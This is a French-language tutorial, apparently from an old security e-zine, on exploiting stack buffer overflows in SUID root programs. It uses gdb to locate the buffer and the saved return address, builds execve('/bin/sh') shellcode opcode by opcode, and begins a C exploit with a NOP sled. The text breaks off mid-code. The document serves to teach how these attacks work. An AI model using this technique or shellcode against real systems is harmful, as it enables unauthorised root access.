-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Buffer Overflow L'exploitation du SUID par l'Homme par klog, Promisc Security, Inc. Dans le but d'expliquer ce qui est, de toute façon, devenu chose commune chez les script kids. INTRODUCTION ~~~~~~~~~~~~ Avant de débuter, il serait nécessaire de comprendre en quoi consiste un buffer overflow. Étant donner que je m'attends de vous a avoir certaines connaissances en C ainsi qu'en assembleur, je ne m'attarderai pas sur ce point. Lors de l'appel d'une procedure, le processeur sauvegarde d'abord le contenu actuel de %eip dans la stack du programme. Or, la stack ne contient pas _seulement_ que ces positions sauvegardes, mais aussi tout buffer alloue dynamiquement, ce qui signifie toute variable déclarée a l'intérieur d'une procédure, ou toute variable servant d'argument a une procédure. Voici un bref exemple de ceci: proc(char *buf2, char *buf1) { char buf3[10]; ... <--- breakpoint } main() { char buf0[4]; ... proc("pro", "misc"); } STACK: [... [buf3][%eip][buf2][buf1][buf0]...] Suivant ce principe, nous serons vite intéressé a overwriter %eip sauvegarde dans la stack afin de faire exécuter au processeur notre code arbitraire. La question est _comment_ overwriter l'image d'%eip. Hors, nous savons qu'en C, certaines fonctions peuvent écrire dans un buffer et, si l'on lui ordonne d'écrire un string plus grosse que le buffer destination, elle le fera au-delà des limites du buffer. On inclue parmi ces fonctions gets(), sprintf(), strcpy(), strcat(), ainsi que des fonctions jugées "plus sécures" telles que snprintf() ou bopcy(), si celles-ci sont mal utilisées. De plus, toute fonction de libc (ou toute autre librairie) faisant appel a de telles fonctions sont, elles aussi, contamines par la vulnérabilité, par exemple certaines vieilles versions de syslog(). Il serait aussi utile de surveiller toute assignation faite a des pointeurs, surtout lorsque celles-ci sont itératives, ou pire, récursives. Pour résumer, l'exploitation d'un buffer overflow consiste en une opération d'une grande précision ou l'on tente d'overwriter l'image de %eip sauvegardée dans la stack, en tentant d'obliger une function vulnérable a écrire au-delà des limites d'un buffer loge dans le stack segment. Voici donc une illustration de chacune des créations de buffer dans la stack de l'exemple précedent, ainsi que la string qui servira a overwriter %eip si nous considérons que nous la copierons en exploitant, par exemple, strcpy(buf3, string): BUF0: XXXX BUF1: XXXX BUF2: XXXX EIP: [old_eip] BUF3: XXXXXXXXXX STRING: XXXXXXXXXX[new_eip] L'EXPLOITATION ~~~~~~~~~~~~~~ Maintenant que nous avons pris connaissance de certains elements essentiels, il serait bien de mettre sur pied un plan d'attaque. Ainsi, nous savons qu'il est possible d'executer arbitrairement un quelconque code en overwritant %eip. La question est maintenant de savoir ou sera positionner ce code. En effet, il faut tenir compte du fait que nous sommes dans un environnement protéger, ou la virtual memory est utilisée. Cela nous oblige donc a include le code a exécuter a l'intérieur même des segments du processus vulnérable (qui, étant suid, devient une propriété du root lors de son exécution), sans quoi une faute de protection ou de segmentation se produira. C'est d'ailleurs pour cette raison que nous placerons notre code a l'intérieur même du buffer. Voici une nouvelle représentation de la string de l'overflow: STRING: [NOPs][code arbitraire][new_eip] Maintenant que nous savons en quoi consiste la string que nous allons utiliser, il serait temps de trouver quelques adresses qui nous seront nécessaires pour le bon fonctionnement de l'opération: 1) l'adresse du buffer a overflower; 2) la position de l'image de %eip. C'est ici que vous devrez sortir le meilleur ami de l'homme: gdb. Supposons d'abord que le programme suivant soit suid root et que nous désirions l'exploiter... iff% cat > suid.c main(int argc, char *argv[]) { char buffer[1024]; strcpy(buffer, argv[1]); } ^C iff% gcc -static suid.c -o suid iff% gdb suid [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : subl $0x400,%esp 0x10c9 : call 0x1164 <__main> 0x10ce : movl 0xc(%ebp),%eax 0x10d1 : addl $0x4,%eax 0x10d4 : movl (%eax),%edx 0x10d6 : pushl %edx 0x10d7 : leal 0xfffffc00(%ebp),%eax 0x10dd : pushl %eax 0x10de : call 0x1238 0x10e3 : addl $0x8,%esp 0x10e6 : leave 0x10e7 : ret End of assembler dump. Nous observons ici que l'adresse de "buffer", étant placée dans la stack en dernier lieu (puisque "buffer" est le premier argument de strcpy()), sera nécessairement contenue dans le registre %eax, tel que le démontre "pushl %eax" a l'adresse 0x10dd. Ainsi, nous pourrons récupérer l'adresse de "buffer" en récupérant le contenu de %eax juste avant l'appel de strcpy(). (gdb) break *0x10de Breakpoint 1 at 0x10de (gdb) run Starting program: /usr/home/mbuf/dev/suid Breakpoint 1, 0x10de in main () (gdb) info registers eax 0xefbfd91c -272639716 ecx 0xefbfdd40 -272638656 edx 0x0 0 ebx 0xefbfdd3c -272638660 esp 0xefbfd914 0xefbfd914 ebp 0xefbfdd1c 0xefbfdd1c esi 0xefbfdd97 -272638569 edi 0x0 0 eip 0x10de 0x10de eflags 0x286 646 cs 0x1f 31 ss 0x27 39 ds 0x27 39 es 0x27 39 (gdb) Bingo. On s'aperçoit ici que l'adresse de "buffer" est 0xefbfd91c. Maintenant, il nous faut trouver l'adresse du contenu de %eip sauvegarde avant l'appel de main(). Pour faire une telle chose, la technique la plus sûre est sans doute le brute-forcing. Nous tenterons donc d'essayer d'overwriter %eip avec exactitude et d'obtenir la distance exacte entre le début du buffer a overflower et la position de %eip. iff% gdb suid [...] (gdb) run `perl -e "printf('A'x1032)";echo BBBB` Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () (gdb) run `perl -e "printf('A'x1028)";echo BBBB` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/home/mbuf/tmp/huhu [...] Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) bt #0 0x42424242 in ?? () #1 0x0 in ?? () (gdb) Bingo. Nous savons maintenant qu'en utilisant un offset de 1028 par rapport a la position initiale du buffer (0xefbfd91c), "BBBB" ('B'==0x42) overwrite parfaitement %eip. On pouvait s'y attendre, puisque "buffer" n'est séparé de l'image de %eip que par l'image de %ebp (registre de 32 bits, 4 bytes), et que "buffer" a une taille de 1024 bytes. LE SHELLCODE ~~~~~~~~~~~~ Maintenant, il est temps de passer aux choses sérieuses. Nous devons écrire le shellcode, soit le code que nous exécuterons arbitrairement. Pour ce faire, nous allons d'abord écrire le code en C pour ensuite le désassembler... iff% cat > code.c main() { char *cmd[] = {"/bin/sh",0}; execve("/bin/sh", cmd, 0); } ^C iff% gcc -static code.c -o code iff% ./code $ exit iff% gdb code [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c8
: pushl %ebp 0x10c9 : movl %esp,%ebp 0x10cb : subl $0x8,%esp 0x10ce : call 0x1174 <__main> 0x10d3 : leal 0xfffffff8(%ebp),%eax 0x10d6 : movl $0x10c0,0xfffffff8(%ebp) 0x10dd : movl $0x0,0xfffffffc(%ebp) 0x10e4 : pushl $0x0 0x10e6 : leal 0xfffffff8(%ebp),%eax 0x10e9 : pushl %eax 0x10ea : pushl $0x10c0 0x10ef : call 0x1218 0x10f4 : addl $0xc,%esp 0x10f7 : leave 0x10f8 : ret End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) On voit ici une grande partie du code que nous désirons inclure dans notre shellcode. Comme vous auriez pu le deviner, de nombreuses modifications devront être portées avant que celui-ci ne soit utilisable. Voici en fait les quelques instructions nécessaires au bon fonctionnement du shellcode: movl [shell],0xfffffff8(%ebp) 7 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl [shell] 5 bytes leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes "/bin/sh" Maintenant que nous avons trouve les instructions a placer dans le shellcode, il nous reste a trouver les adresses de "/bin/sh" (shell). Or, si l'on décide d'écrire d'abord notre shellcode pour le faire suivre par "/bin/sh", il est trivial de calculer la position exacte de "/bin/sh" dans le buffer, étant donner que nous connaissons déjà la position du buffer en mémoire. Cependant, nous ne désirons pas référer a "/bin/sh" de façon statique dans notre shellcode. Pourquoi? tout simplement parce que si on désire placer le shellcode dans un autre buffer que celui a overflower, nous devrons aussi _reécrire_ le shellcode en entier. C'est pourquoi, lorsque l'on désire faire appel a la string "/bin/sh", nous utiliserons une technique simple mais efficace de wrapping: jmp [call addr] popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call [popl addr] "/bin/sh" Et voilà. Sachant que les instructions jmp et call peuvent prendre comme operands des adresses relatives et que lorsqu'un call est effectuer, l'adresse de l'instruction suivante est placée dans la stack (l'image de %eip), nous pourrons retrouver l'adresse de "/bin/sh" en la retirant de la stack et en la plaçant dans un registre non utilisé (%ebx). Pour trouver les adresses relatives (offset) de popl et call, nous devrons d'abord trouver la taille de chacune des nouvelles instructions que nous avons insérés: iff% cat > wrapper.c main() { __asm__(" jmp 37 popl %ebx movl %ebx,0xfffffff8(%ebp) pushl %ebx call -36 "); } ^C iff% gdb wrapper [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c0
: pushl %ebp 0x10c1 : movl %esp,%ebp 0x10c3 : call 0x1154 <__main> 0x10c8 : jmp 0x10ef <__do_global_dtors+15> 0x10ca : popl %ebx 0x10cb : movl %ebx,0xfffffff8(%ebp) 0x10ce : pushl %ebx 0x10cf : call 0x10b0 0x10d4 : leave 0x10d5 : ret (gdb) Parfait, voici donc avec exactitude le nouveau code que nous désirons avoir dans notre shellcode: jmp 31 2 bytes popl %ebx 1 byte movl %ebx,0xfffffff8(%ebp) 3 bytes movl $0x0,0xfffffffc(%ebp) 7 bytes pushl $0x0 2 bytes leal 0xfffffff8(%ebp),%eax 3 bytes pushl %eax 1 byte pushl %ebx 1 byte leal 0x3b,%eax 6 bytes lcall 0x7,0x0 7 bytes call -36 5 bytes "/bin/sh" Voilà! Il est maintenant temps de réécrire notre wrapper, puis de trouver les opcodes associées a chacune des instructions que nous désirons utiliser. Pour des raisons que je ne connais trop, "lcall" n'a pas des operands valides tel que démontré dans l'exemple ci haut. C'est pourquoi nous trouverons les opcodes de toutes les instructions en écrivant ces dernières dans un inline __asm__, alors que nous trouverons lcall en désassemblant execve(): iff% cat > asmcode.c main() { __asm__(" jmp 31 popl %ebx movl %ebx,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl %ebx leal 0x3b,%eax call -31 "); execve("", 0, 0); } iff% gcc -static asmcode.c -o asmcode iff% gdb asmcode [...] (gdb) disassemble main Dump of assembler code for function main: 0x10c4
: pushl %ebp 0x10c5 : movl %esp,%ebp 0x10c7 : call 0x1174 <__main> 0x10cc : jmp 0x10ed # = +7 0x10ce : popl %ebx 0x10cf : movl %ebx,0xfffffff8(%ebp) 0x10d2 : movl $0x0,0xfffffffc(%ebp) 0x10d9 : pushl $0x0 0x10db : leal 0xfffffff8(%ebp),%eax 0x10de : pushl %eax 0x10df : pushl %ebx 0x10e0 : leal 0x3b,%eax 0x10e6 : call 0x10c7 # = -7 0x10eb : pushl $0x0 0x10ed : pushl $0x0 0x10ef : pushl $0x10c0 0x10f4 : call 0x1218 0x10f9 : addl $0xc,%esp 0x10fc : leave 0x10fd : ret (gdb) x/31xb 0x10cc 0x10cc : 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0x10d4 : 0xfc 0x00 0x00 0x00 0x00 0x6a 0x00 0x8d 0x10dc : 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x10e4 : 0x00 0x00 0xe8 0xdc 0xff 0xff 0xff (gdb) disassemble execve Dump of assembler code for function execve: 0x1218 : leal 0x3b,%eax 0x121e : lcall 0x7,0x0 0x1225 : jb 0x1210 0x1227 : ret (gdb) x/13xb 0x1218 0x1218 : 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 0x1220 : 0x00 0x00 0x00 0x07 0x00 (gdb) Et voilà. Voici a quoi va ressembler notre shellcode complet: 0xeb 0x1f 0x5b 0x89 0x5d 0xf8 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 <--- main 0x6a 0x00 0x8d 0x45 0xf8 0x50 0x53 0x8d 0x05 0x3b 0x00 0x00 0x00 0x8d 0x05 0x3b 0x00 0x00 0x00 0x9a 0x00 <--- execve 0x00 0x00 0x00 0x07 0x00 0xe8 0xdc 0xff <--- call [popl] 0xff 0xff "/bin/sh" <--- shell Hum. On aperçoit un autre problème ici. Le shellcode semble parfait _mais_ il ne pourra jamais être copier en entier via une fonction comme strcpy(). Pourquoi? tout simplement a cause des 0x00, qui seront considérés comme une fin de string. C'est pourquoi deux solutions s'offrent a nous. La première serait d'utiliser un registre clear a la place d'utiliser $0x00 dans chaque cas nécessaire. La seconde serait d'insérer le shellcode ailleurs que dans le buffer cible, ce qui serait la aussi une solution très viable (la placer en argv[X] ou autre). L'EXPLOIT ~~~~~~~~~ Pour l'exemple d'exploit fournit ici, je ferai abstraction de ce problème pour laisser au codeur le choix de sa technique. Cela évitera, de plus, que cet article soit utilise aveuglement pour fournir aux script kids une facon simple d'écrire leurs propres exploits. Voici donc a quoi ressemblerait un exploit pour un buffer overflow cree par une fonction telle bcopy() (ce qui est très rare, étant donner la possibilité le limiter la taille des données copiées qu'offre bcopy()): #define OFFSET 1028 char shellcode[] = "\xeb\x1f\x5b\x89\x5d\xf8\xc7\x45\xfc\x00\x00" "\x00\x00\x6a\x00\x8d\x45\xf8\x50\x53\x8d\x05" "\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a" "\x00\x00\x00\x00\x07\x00\xe8\xdc\xff\xff\xff" "/bin/sh"; main(int argc, char *argv[]) { char string[OFFSET+4]; int i, j; /* copie les NOPs */ for(i=0;i<(OFFSET-sizeof(shellcode));i++) string[i] = 0x90; /* copie le shellcode */ for(i=i,j=0;i